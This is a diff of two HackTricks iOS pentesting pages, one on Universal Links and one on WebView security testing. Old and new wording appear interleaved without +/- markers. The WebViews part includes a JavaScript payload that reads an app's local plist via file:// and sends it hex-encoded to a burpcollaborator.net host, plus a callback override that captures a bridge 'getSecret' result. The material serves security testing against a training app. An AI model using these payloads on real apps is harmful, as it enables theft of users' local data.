* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<details>

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@ -1,3 +1,4 @@
# iOS Universal Links
<details>
@ -15,20 +16,17 @@ Other ways to support HackTricks:
</details>
Universal links allows to **redirect users directly** to the app without passing through safari for redirection.\
Universal links are **unique**, so they **can't be claimed by other app**s because they use standard HTTP(S) links to the **website where the owner has uploaded a file to make sure that the website and the app are related**.\
As these links uses HTTP(S) schemes, when the **app isn't installed, safari will open the link** redirecting the users to the page. These allows **apps to communicate with the app even if it isn't installed**.
## Introduction
To create universal links it's needed to **create a JSON file called `apple-app-site-association` ** with the details. Then this file needs to be **hosted in the root directory of your webserver** (e.g. [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\
For the pentester this file is very interesting as it **discloses paths**. It can even be disclosing paths of releases that haven't been published yet.
Universal links offer a **seamless redirection** experience to users by directly opening content in the app, bypassing the need for Safari redirection. These links are **unique** and secure, as they cannot be claimed by other apps. This is ensured by hosting a `apple-app-site-association` JSON file on the website's root directory, establishing a verifiable link between the website and the app. In cases where the app is not installed, Safari will take over and direct the user to the webpage, maintaining the app's presence.
## ​**Checking the Associated Domains Entitlement**
For penetration testers, the `apple-app-site-association` file is of particular interest as it may reveal **sensitive paths**, potentially including ones related to unreleased features.
n Xcode, go to the **Capabilities** tab and search for **Associated Domains**. You can also inspect the `.entitlements` file looking for `com.apple.developer.associated-domains`. Each of the domains must be prefixed with `applinks:`, such as `applinks:www.mywebsite.com`.
### **Analyzing the Associated Domains Entitlement**
Here's an example from Telegram's `.entitlements` file:
Developers enable Universal Links by configuring the **Associated Domains** in Xcode's Capabilities tab or by inspecting the `.entitlements` file. Each domain is prefixed with `applinks:`. For example, Telegram's configuration might appear as follows:
```markup
```xml
<key>com.apple.developer.associated-domains</key>
<array>
<string>applinks:telegram.me</string>
@ -36,36 +34,26 @@ Here's an example from Telegram's `.entitlements` file:
</array>
```
More detailed information can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple\_ref/doc/uid/TP40016308-CH12-SW2).
For more comprehensive insights, refer to the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
If you only has the compiled application you can extract the entitlements following this guide:
If working with a compiled application, entitlements can be extracted as outlined in [this guide](extracting-entitlements-from-compiled-application.md).
{% content-ref url="extracting-entitlements-from-compiled-application.md" %}
[extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md)
{% endcontent-ref %}
### **Retrieving the Apple App Site Association File**
## R**etrieving the Apple App Site Association File**
The `apple-app-site-association` file should be retrieved from the server using the domains specified in the entitlements. Ensure the file is accessible via HTTPS directly at `https://<domain>/apple-app-site-association`. Tools like the [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/) can aid in this process.
Try to retrieve the `apple-app-site-association` file from the server using the associated domains you got from the previous step. This file needs to be accessible via HTTPS, without any redirects, at `https://<domain>/apple-app-site-association` or `https://<domain>/.well-known/apple-app-site-association`.
### **Handling Universal Links in the App**
You can retrieve it yourself with your browser or use the [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/).
The app must implement specific methods to handle universal links correctly. The primary method to look for is [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). It's crucial that the scheme of URLs handled is HTTP or HTTPS, as others will not be supported.
## **Checking the Link Receiver Method**
#### **Validating the Data Handler Method**
In order to receive links and handle them appropriately, the app delegate has to implement [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). If you have the original project try searching for this method.
Please note that if the app uses [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) to open a universal link to the app's website, the link won't open in the app. As the call originates from the app, it won't be handled as a universal link.
* The scheme of the `webpageURL` must be HTTP or HTTPS (any other scheme should throw an exception). The [`scheme` instance property](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) of `URLComponents` / `NSURLComponents` can be used to verify this.
## **Checking the Data Handler Method**
When iOS opens an app as the result of a universal link, the app receives an `NSUserActivity` object with an `activityType` value of `NSUserActivityTypeBrowsingWeb`. The activity object’s `webpageURL` property contains the HTTP or HTTPS URL that the user accesses. The following example in Swift verifies exactly this before opening the URL:
When a universal link opens an app, an `NSUserActivity` object is passed to the app with the URL. Before processing this URL, it's essential to validate and sanitize it to prevent security risks. Here's an example in Swift that demonstrates the process:
```swift
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
// ...
// Check for web browsing activity and valid URL
if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL {
application.open(url, options: [:], completionHandler: nil)
}
@ -74,9 +62,7 @@ func application(_ application: UIApplication, continue userActivity: NSUserActi
}
```
In addition, remember that if the URL includes parameters, they should not be trusted before being carefully sanitized and validated (even when coming from trusted domain). For example, they might have been spoofed by an attacker or might include malformed data. If that is the case, the whole URL and therefore the universal link request must be discarded.
The `NSURLComponents` API can be used to parse and manipulate the components of the URL. This can be also part of the method `application:continueUserActivity:restorationHandler:` itself or might occur on a separate method being called from it. The following [example](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935) demonstrates this:
URLs should be carefully parsed and validated, especially if they include parameters, to guard against potential spoofing or malformed data. The `NSURLComponents` API is useful for this purpose, as demonstrated below:
```swift
func application(_ application: UIApplication,
@ -92,21 +78,26 @@ func application(_ application: UIApplication,
if let albumName = params.first(where: { $0.name == "albumname" })?.value,
let photoIndex = params.first(where: { $0.name == "index" })?.value {
// Interact with album name and photo index
// Process the URL with album name and photo index
return true
} else {
// Handle when album and/or album name or photo index missing
// Handle invalid or missing parameters
return false
}
}
```
# References
Through **diligent configuration and validation**, developers can ensure that universal links enhance user experience while maintaining security and privacy standards.
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
## References
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)

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@ -14,96 +14,80 @@ Other ways to support HackTricks:
</details>
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
## WebViews types
WebViews are in-app browser components for displaying interactive **web** **content**. They can be used to embed web content directly into an app's user interface. iOS WebViews **support** **JavaScript** execution **by default**, so script injection and Cross-Site Scripting attacks can affect them.
WebViews are utilized within applications to display web content interactively. Various types of WebViews offer different functionalities and security features for iOS applications. Here's a brief overview:
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView is deprecated starting on iOS 12 and should not be used. It shouldn't be used. **JavaScript cannot be disabled**.
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): This is the appropriate choice for extending app functionality, controlling displayed content.
* **JavaScript** is enabled by default but thanks to the **`javaScriptEnabled`** property of `WKWebView`, it **can be completely disabled**, preventing all script injection flaws.
* The **`JavaScriptCanOpenWindowsAutomatically`** can be used to **prevent** JavaScript from **opening new windows**, such as pop-ups.
* The **`hasOnlySecureContent`** property can be used to verify resources loaded by the WebView are retrieved through encrypted connections.
* `WKWebView` implements out-of-process rendering, so **memory corruption bugs won't affect** the main app process.
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** It should be used to provide a **generalized web viewing experience**. These WebViews can be easily spotted as they have a characteristic layout which includes the following elements:
- **UIWebView**, which is no longer recommended from iOS 12 onwards due to its lack of support for disabling **JavaScript**, making it susceptible to script injection and **Cross-Site Scripting (XSS)** attacks.
* A read-only address field with a security indicator.
* An Action ("**Share**") **button**.
* A **Done button**, back and forward navigation buttons, and a "Safari" button to open the page directly in Safari.
- **WKWebView** is the preferred option for incorporating web content into apps, offering enhanced control over the content and security features. **JavaScript** is enabled by default, but it can be disabled if necessary. It also supports features to prevent JavaScript from automatically opening windows and ensures that all content is loaded securely. Additionally, **WKWebView**'s architecture minimizes the risk of memory corruption affecting the main app process.
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
- **SFSafariViewController** offers a standardized web browsing experience within apps, recognizable by its specific layout including a read-only address field, share and navigation buttons, and a direct link to open content in Safari. Unlike **WKWebView**, **JavaScript** cannot be disabled in **SFSafariViewController**, which also shares cookies and data with Safari, maintaining user privacy from the app. It must be displayed prominently according to App Store guidelines.
* **JavaScript cannot be disabled** in `SFSafariViewController` and this is one of the reasons why the usage of `WKWebView` is recommended when the goal is extending the app's user interface.
* `SFSafariViewController` also **shares cookies** and other website data with **Safari**.
* The user's activity and interaction with a `SFSafariViewController` are **not visible to the app**, which cannot access AutoFill data, browsing history, or website data.
* According to the App Store Review Guidelines, `SFSafariViewController`s **may not be hidden or obscured by other views or layers**.
```objetivec
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## Discovering WebViews Configuration
## WebViews Configuration Exploration Summary
### Static Analysis
### **Static Analysis Overview**
**UIWebView**
In the process of examining **WebViews** configurations, two primary types are focused on: **UIWebView** and **WKWebView**. For identifying these WebViews within a binary, commands are utilized, searching for specific class references and initialization methods.
- **UIWebView Identification**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
```
**WKWebView**
This command helps in locating instances of **UIWebView** by searching for text strings related to it in the binary.
- **WKWebView Identification**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
```
Alternatively you can also search for known methods of these WebView classes. For example, search for the method used to initialize a WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
Similarly, for **WKWebView**, this command searches the binary for text strings indicative of its usage.
Furthermore, to find how a **WKWebView** is initialized, the following command is executed, targeting the method signature related to its initialization:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
```
#### Testing JavaScript Configuration
#### **JavaScript Configuration Verification**
For `WKWebView`s, as a best practice, JavaScript should be disabled unless it is explicitly required. To verify that JavaScript was properly disabled search the project for usages of `WKPreferences` and ensure that the [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) property is set to `false`:
```
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
```
If only having the compiled binary you can search for this in it:
For **WKWebView**, it's highlighted that disabling JavaScript is a best practice unless required. The compiled binary is searched to confirm that the `javaScriptEnabled` property is set to `false`, ensuring that JavaScript is disabled:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
```
#### Testing OnlySecureContent
#### **Only Secure Content Verification**
In contrast to `UIWebView`s, when using `WKWebView`s it is possible to detect [mixed content](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (HTTP content loaded from a HTTPS page). By using the method [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) it can be verified whether all resources on the page have been loaded through securely encrypted connections.\
In the compiled binary:
**WKWebView** offers the capability to identify mixed content issues, contrasting with **UIWebView**. This is checked using the `hasOnlySecureContent` property to ensure all page resources are loaded through secure connections. The search in the compiled binary is performed as follows:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
You can also search in the source code or strings the string "http://". However, this doesn't necessary means that there is a mixed content issue. Learn more about mixed content in the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
### **Dynamic Analysis Insights**
### Dynamic Analysis
Dynamic analysis involves inspecting the heap for WebView instances and their properties. A script named `webviews_inspector.js` is used for this purpose, targeting `UIWebView`, `WKWebView`, and `SFSafariViewController` instances. It logs information about found instances, including URLs and settings related to JavaScript and secure content.
It's possible to inspect the heap via `ObjC.choose()` to find instances of the different types of WebViews and also search for the properties `javaScriptEnabled` and `hasonlysecurecontent`:
Heap inspection can be conducted using `ObjC.choose()` to identify WebView instances and check `javaScriptEnabled` and `hasonlysecurecontent` properties.
{% code title="webviews_inspector.js" %}
```javascript
```objetivec
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
@ -149,79 +133,34 @@ ObjC.choose(ObjC.classes['WKWebView'], {
```
{% endcode %}
Load it with:
The script is executed with:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
hasOnlySecureContent: false
```
**Key Outcomes**:
- Instances of WebViews are successfully located and inspected.
- JavaScript enablement and secure content settings are verified.
This summary encapsulates the critical steps and commands involved in analyzing WebView configurations through static and dynamic approaches, focusing on security features like JavaScript enablement and mixed content detection.
## WebView Protocol Handling
Several default schemes are available that are being interpreted in a WebView on iOS, for example:
Handling content in WebViews is a critical aspect, especially when dealing with various protocols such as `http(s)://`, `file://`, and `tel://`. These protocols enable the loading of both remote and local content within apps. It is emphasized that when loading local content, precautions must be taken to prevent users from influencing the file's name or path and from editing the content itself.
* http(s)://
* file://
* tel://
**WebViews** offer different methods for content loading. For **UIWebView**, now deprecated, methods like `loadHTMLString:baseURL:` and `loadData:MIMEType:textEncodingName:baseURL:` are used. **WKWebView**, on the other hand, employs `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, and `loadRequest:` for web content. Methods such as `pathForResource:ofType:`, `URLForResource:withExtension:`, and `init(contentsOf:encoding:)` are typically utilized for loading local files. The method `loadFileURL:allowingReadAccessToURL:` is particularly notable for its ability to load a specific URL or directory into the WebView, potentially exposing sensitive data if a directory is specified.
WebViews can load remote content from an endpoint, but they can also load local content from the app data directory. If the local content is loaded, the user shouldn't be able to influence the filename or the path used to load the file, and users shouldn't be able to edit the loaded file.
### WebView content load
* **UIWebView**: It can use deprecated methods [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) or [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc)to load content.
* **WKWebView**: It can use the methods [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) or [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) to load local HTML files and `loadRequest:` for web content. Typically, the local files are loaded in combination with methods including, among others: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) or [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). In addition, you should also verify if the app is using the method [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Its first parameter is `URL` and contains the URL to be loaded in the WebView, its second parameter `allowingReadAccessToURL` may contain a single file or a directory. If containing a single file, that file will be available to the WebView. However, if it contains a directory, all files on that **directory will be made available to the WebView**. Therefore, it is worth inspecting this and in case it is a directory, verifying that no sensitive data can be found inside it.
If you have the source code you can search for those methods. Having the **compiled** **binary** you can also search for these methods:
To find these methods in the source code or compiled binary, commands like the following can be used:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
### File Access
Regarding **file access**, UIWebView allows it universally, whereas WKWebView introduces `allowFileAccessFromFileURLs` and `allowUniversalAccessFromFileURLs` settings for managing access from file URLs, with both being false by default.
* **UIWebView:**
* The `file://` scheme is always enabled.
* File access from `file://` URLs is always enabled.
* Universal access from `file://` URLs is always enabled.
* If you retrieve the effective origin from a `UIWebView` where `baseURL` is also set to `nil` you will see that it is **not set to "null"**, instead you'll obtain something similar to the following: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`0. This origin "applewebdata://" is similar to the "file://" origin as it **does not implement Same-Origin Policy** and allow access to local files and any web resources.
{% tabs %}
{% tab title="exfiltrate_file" %}
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
{% endtab %}
{% endtabs %}
* **WKWebView**:
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, `false` by default): it enables JavaScript running in the context of a `file://` scheme URL to access content from other `file://` scheme URLs.
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `false` by default): it enables JavaScript running in the context of a `file://` scheme URL to access content from any origin.
You can search for those functions in the source code of the application or in the compiled binary.\
Also, you can use the following frida script to find this information:
A Frida script example is provided to inspect **WKWebView** configurations for security settings:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
@ -241,23 +180,9 @@ ObjC.choose(ObjC.classes['WKWebView'], {
});
```
```bash
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
```
#### Exfiltrate arbitrary files
Lastly, an example of a JavaScript payload aimed at exfiltrating local files demonstrates the potential security risk associated with improperly configured WebViews. This payload encodes file contents into hex format before transmitting them to a server, highlighting the importance of stringent security measures in WebView implementations.
```javascript
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
@ -282,24 +207,24 @@ xhr.send(null);
## Native Methods Exposed Through WebViews
Since iOS 7, Apple introduced APIs that allow **communication between the JavaScript runtime in the WebView and the native** Swift or Objective-C objects.
## Understanding WebView Native Interfaces in iOS
There are two fundamental ways of how native code and JavaScript can communicate:
From iOS 7 onwards, Apple provided APIs for **communication between JavaScript in a WebView and native** Swift or Objective-C objects. This integration is primarily facilitated through two methods:
* **JSContext**: When an Objective-C or Swift block is assigned to an identifier in a `JSContext`, JavaScriptCore automatically wraps the block in a JavaScript function.
* **JSExport protocol**: Properties, instance methods and class methods declared in a `JSExport`-inherited protocol are mapped to JavaScript objects that are available to all JavaScript code. Modifications of objects that are in the JavaScript environment are reflected in the native environment.
- **JSContext**: A JavaScript function is automatically created when a Swift or Objective-C block is linked to an identifier within a `JSContext`. This allows for seamless integration and communication between JavaScript and native code.
- **JSExport Protocol**: By inheriting the `JSExport` protocol, native properties, instance methods, and class methods can be exposed to JavaScript. This means any changes made in the JavaScript environment are mirrored in the native environment, and vice versa. However, it's essential to ensure that sensitive data is not exposed inadvertently through this method.
Note that **only class members defined in the `JSExport`** protocol are made accessible to JavaScript code.\
Look out for code that maps native objects to the `JSContext` associated with a WebView and analyze what functionality it exposes, for example no sensitive data should be accessible and exposed to WebViews.\
In Objective-C, the `JSContext` associated with a `UIWebView` is obtained as follows:
### Accessing `JSContext` in Objective-C
```objectivec
In Objective-C, the `JSContext` for a `UIWebView` can be retrieved with the following line of code:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
JavaScript code in a **`WKWebView` can still send messages back to the native app but in contrast to `UIWebView`, it is not possible to directly reference the `JSContext`** of a `WKWebView`. Instead, communication is implemented using a messaging system and using the `postMessage` function, which automatically serializes JavaScript objects into native Objective-C or Swift objects. Message handlers are configured using the method [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
### Communication with `WKWebView`
### Enabling JavascriptBridge
For `WKWebView`, direct access to `JSContext` is not available. Instead, message passing is utilized through the `postMessage` function, enabling JavaScript to native communication. Handlers for these messages are set up as follows, enabling JavaScript to interact with the native application securely:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
@ -308,15 +233,15 @@ func enableJavaScriptBridge(_ enabled: Bool) {
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
```
### Sending Message
### Interaction and Testing
Adding a script message handler with name `"name"` (or `"javaScriptBridge"` in the example above) causes the JavaScript function `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` to be defined in all frames in all web views that use the user content controller. It can be then [used from the HTML file like this](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):
JavaScript can interact with the native layer by defining a script message handler. This allows for operations like invoking native functions from a webpage:
```javascript
function invokeNativeOperation() {
@ -324,16 +249,14 @@ function invokeNativeOperation() {
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Once the Native function es executed it usually will **execute some JavaScript inside the web page** (see `evaluateJavascript` below) you can be interested on **overriding the function** that is going to be executed to **steal the result**.\
For example, in the script below the function **`javascriptBridgeCallBack`** is going to be executed with 2 params (the called function and the **result**). If you control the HTML that is going to be loaded you can create an **alert with the result** like:
To capture and manipulate the result of a native function call, one can override the callback function within the HTML:
```markup
```html
<html>
<script>
document.location = "javascriptbridge://getSecret"
@ -344,65 +267,44 @@ For example, in the script below the function **`javascriptBridgeCallBack`** is
</html>
```
### Called Function
The called function resides in [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):
The native side handles the JavaScript call as shown in the `JavaScriptBridgeMessageHandler` class, where the result of operations like multiplying numbers is processed and sent back to JavaScript for display or further manipulation:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
//...
case "multiplyNumbers":
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
//...
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
### Testing
In order to test send a postMessage inside an application you can:
* Change the servers response (MitM)
* Perform a dynamic instrumentation and inject the JavaScript payload by using frameworks like Frida and the corresponding JavaScript evaluation functions available for the iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) for `UIWebView` and [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) for `WKWebView`).
## Debugging iOS WebViews
(Tutorial from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
In iOS webviews, messages passed to `console.log()` are _not_ printed to the Xcode logs. It's still relatively easy to debug web content with Safari's developer tools, although there are a couple of limitations:
To effectively debug web content within iOS webviews, a specific setup involving Safari's developer tools is required due to the fact that messages sent to `console.log()` are not displayed in Xcode logs. Here's a simplified guide, emphasizing key steps and requirements:
* Debugging iOS webviews requires Safari, so your dev computer must be running macOS.
* You can only debug webviews in applications loaded onto your device through Xcode. You can't debug webviews in apps installed through the App Store or Apple Configurator.
- **Preparation on iOS Device**: The Safari Web Inspector needs to be activated on your iOS device. This is done by going to **Settings > Safari > Advanced**, and enabling the _Web Inspector_.
With those limitations in mind, here are the steps to remotely debug a webview in iOS:
- **Preparation on macOS Device**: On your macOS development machine, you must enable developer tools within Safari. Launch Safari, access **Safari > Preferences > Advanced**, and select the option to _Show Develop menu_.
* First, enable the Safari Web Inspector on your iOS device by opening the iOS _Settings_ app, navigating to **Settings > Safari > Advanced**, and toggling the _Web Inspector_ option on.
- **Connection and Debugging**: After connecting your iOS device to your macOS computer and launching your application, use Safari on your macOS device to select the webview you want to debug. Navigate to _Develop_ in Safari's menu bar, hover over your iOS device's name to see a list of webview instances, and select the instance you wish to inspect. A new Safari Web Inspector window will open for this purpose.
![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
However, be mindful of the limitations:
* Next, you must also enable developer tools in Safari on your dev computer. Launch Safari on your dev machine and navigate to **Safari > Preferences** in the menu bar. In the preferences pane that appears, click on the _Advanced_ tab and then enable the _Show Develop menu_ option at the bottom. After you do that, you can close the preferences pane.
- Debugging with this method requires a macOS device since it relies on Safari.
- Only webviews in applications loaded onto your device through Xcode are eligible for debugging. Webviews in apps installed via the App Store or Apple Configurator cannot be debugged in this manner.
![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
* Connect your iOS device to your dev computer and launch your app.
* In Safari on your dev computer, click on _Develop_ in the menu bar and hover over the dropdown option that is your iOS device's name to show a list of webview instances running on your iOS device.
![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
* Click the dropdown option for the webview that you wish to debug. This will open a new Safari Web Inspector window for inspecting the webview.
![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
## References
